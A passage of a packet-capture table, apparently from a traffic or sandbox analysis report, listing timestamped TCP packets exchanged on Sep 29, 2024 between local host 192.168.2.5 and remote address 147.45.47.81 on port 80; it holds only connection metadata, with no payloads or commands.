Sep 29, 2024 09:44:15.367798090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.367868900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.367902994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.367935896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.367960930 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.367968082 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368007898 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368022919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368027925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368057013 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368092060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368125916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368140936 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368158102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368168116 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368210077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368242025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368274927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368284941 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368313074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368345022 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368362904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368396044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368427992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368443012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368460894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368470907 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368510962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368542910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368573904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368586063 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368607998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368617058 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368640900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368690968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368700027 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368725061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368760109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368772030 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368810892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368848085 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368858099 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368879080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368911028 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368943930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.368949890 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368984938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.368993044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369026899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369057894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369090080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369103909 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369122982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369136095 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369158983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369187117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369219065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369229078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369251966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369261026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369286060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369317055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369349957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369365931 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369383097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369394064 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369415998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369448900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369482040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369496107 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369515896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369524956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369548082 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369580984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369612932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369625092 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369645119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369654894 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369674921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369709015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369740963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369752884 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369774103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369781971 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369808912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369841099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369843960 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.369894981 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369923115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.369967937 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370177984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370210886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370225906 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370244980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370277882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370326996 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370332003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370378017 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370382071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370415926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370457888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370498896 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370516062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370560884 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370565891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370599985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370634079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370666027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370676041 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370699883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370708942 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370733023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370764971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370776892 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370798111 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370827913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370862007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370877028 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370894909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370908976 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.370929003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370960951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.370991945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371006966 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371023893 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371037006 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371058941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371092081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371124029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371134996 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371157885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371166945 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371193886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371226072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371259928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371270895 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371293068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371304035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371326923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371360064 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371408939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371414900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371447086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371457100 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371479988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371514082 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371546984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371557951 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.371582985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.371594906 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.372174978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372222900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372256994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372277021 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.372288942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372309923 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.372323036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372356892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372389078 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372397900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.372421980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372430086 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.372456074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372488976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372523069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.372531891 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.372566938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.441977024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.442043066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.442080021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.442104101 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.442112923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.442148924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.442181110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.442198992 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.442214966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.442224026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.442253113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.442336082 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.454797983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.454850912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.454885006 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.454904079 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.454955101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.454989910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455003977 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455039978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455074072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455085993 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455122948 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455157042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455189943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455203056 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455224037 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455231905 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455274105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455307007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455338001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455358982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455377102 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455416918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455450058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455482006 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455491066 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455514908 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455530882 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455549002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455581903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455629110 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455648899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455693007 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455698967 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455733061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455765009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455810070 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455810070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455859900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455868006 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.455893040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455944061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455972910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.455988884 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456006050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456012964 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456042051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456104994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456146002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456171036 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456176043 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456193924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456231117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456263065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456295013 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456306934 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456327915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456337929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456378937 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456428051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456449986 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456463099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456496000 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456516027 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456528902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456561089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456593037 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456602097 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456624031 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456631899 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456659079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456692934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456724882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456731081 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456769943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456783056 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456804037 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456840992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456862926 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456875086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456907988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456940889 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456955910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.456974983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.456989050 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457009077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457041025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457053900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457075119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457107067 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457140923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457165956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457174063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457184076 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457207918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457240105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457284927 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457357883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457391024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457401991 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457441092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457473040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457484961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457506895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457556009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457566023 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457591057 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457618952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457639933 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457667112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457711935 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457719088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457771063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457803965 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457837105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457848072 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457870007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457890987 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457906961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457940102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457967043 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.457993031 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.457999945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458018064 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458033085 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458065987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458076954 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458101034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458132982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458152056 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458167076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458199024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458209991 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458233118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458265066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458276987 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458298922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458328009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458343983 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458359957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458394051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458425999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458445072 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458460093 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458470106 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458492994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458525896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458539963 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458559990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458590984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458621979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458631039 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458656073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458661079 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458688974 CEST	80	49706	147.45.47.81	192.168.2.5
